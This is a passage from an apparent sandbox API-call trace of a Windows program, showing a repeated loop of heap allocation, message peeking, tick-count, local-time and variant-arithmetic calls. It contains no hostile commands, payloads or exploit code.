Size=0x18) returned 0x383ec78 [0180.753] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.753] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.753] CoFreeUnusedLibraries () [0180.753] GetTickCount () returned 0x115dd93 [0180.753] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.753] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.753] GetTickCount () returned 0x115dd93 [0180.754] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.754] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.754] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.754] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.754] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.754] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.754] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.754] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.754] CoFreeUnusedLibraries () [0180.754] GetTickCount () returned 0x115dd93 [0180.754] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.754] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.754] GetTickCount () returned 0x115dd93 [0180.754] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.755] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.755] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.755] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.755] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.755] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.755] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.755] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.755] CoFreeUnusedLibraries () [0180.755] GetTickCount () returned 0x115dd93 [0180.755] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.755] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.755] GetTickCount () returned 0x115dd93 [0180.755] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.755] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.755] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.755] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.755] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.756] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.756] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.756] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.756] CoFreeUnusedLibraries () [0180.756] GetTickCount () returned 0x115dd93 [0180.756] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.756] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.756] GetTickCount () returned 0x115dd93 [0180.756] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.756] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.756] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.756] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.756] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.756] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.757] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.757] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.757] CoFreeUnusedLibraries () [0180.757] GetTickCount () returned 0x115dd93 [0180.757] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.757] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.757] GetTickCount () returned 0x115dd93 [0180.757] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.757] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.757] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.757] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.757] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.757] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.757] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.757] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.757] CoFreeUnusedLibraries () [0180.758] GetTickCount () returned 0x115dd93 [0180.758] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.758] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.758] GetTickCount () returned 0x115dd93 [0180.758] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.758] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.758] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.758] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.758] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.758] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.758] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.758] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.758] CoFreeUnusedLibraries () [0180.758] GetTickCount () returned 0x115dd93 [0180.758] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.758] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.758] GetTickCount () returned 0x115dd93 [0180.759] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.759] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.759] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.759] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.759] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.759] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.759] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.759] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.759] CoFreeUnusedLibraries () [0180.759] GetTickCount () returned 0x115dd93 [0180.759] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.759] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.759] GetTickCount () returned 0x115dd93 [0180.759] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.759] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.759] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.760] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.760] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.760] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.760] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.760] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.760] CoFreeUnusedLibraries () [0180.760] GetTickCount () returned 0x115dd93 [0180.760] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.760] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.760] GetTickCount () returned 0x115dd93 [0180.760] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.760] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.760] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.760] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.760] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.761] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.761] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.761] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.761] CoFreeUnusedLibraries () [0180.761] GetTickCount () returned 0x115dd93 [0180.761] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.761] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.761] GetTickCount () returned 0x115dd93 [0180.761] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.761] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.761] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.761] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.761] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.761] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.761] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.761] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.762] CoFreeUnusedLibraries () [0180.762] GetTickCount () returned 0x115dd93 [0180.762] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.762] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.762] GetTickCount () returned 0x115dd93 [0180.762] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.762] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.762] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.762] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.762] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.762] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.762] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.762] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.762] CoFreeUnusedLibraries () [0180.762] GetTickCount () returned 0x115dd93 [0180.762] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.762] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.763] GetTickCount () returned 0x115dd93 [0180.763] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.763] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.763] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.763] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.763] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.763] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.763] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.763] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.763] CoFreeUnusedLibraries () [0180.763] GetTickCount () returned 0x115dd93 [0180.763] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.763] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.763] GetTickCount () returned 0x115dd93 [0180.764] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.764] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.764] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.764] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.764] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.764] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.764] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.764] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.764] CoFreeUnusedLibraries () [0180.764] GetTickCount () returned 0x115dd93 [0180.764] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.764] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.764] GetTickCount () returned 0x115dd93 [0180.764] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.764] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.764] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.764] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.765] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.765] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.765] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.765] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.765] CoFreeUnusedLibraries () [0180.765] GetTickCount () returned 0x115dd93 [0180.765] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.765] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.765] GetTickCount () returned 0x115dd93 [0180.765] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.765] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.765] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.765] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.765] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.766] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.766] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.766] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.767] CoFreeUnusedLibraries () [0180.767] GetTickCount () returned 0x115dda3 [0180.767] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.767] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.767] GetTickCount () returned 0x115dda3 [0180.767] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.767] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.767] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.768] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.768] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.768] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.768] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.768] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.768] CoFreeUnusedLibraries () [0180.768] GetTickCount () returned 0x115dda3 [0180.768] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.768] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.768] GetTickCount () returned 0x115dda3 [0180.768] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x26f)) [0180.768] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.768] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.768] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.768] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.769] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 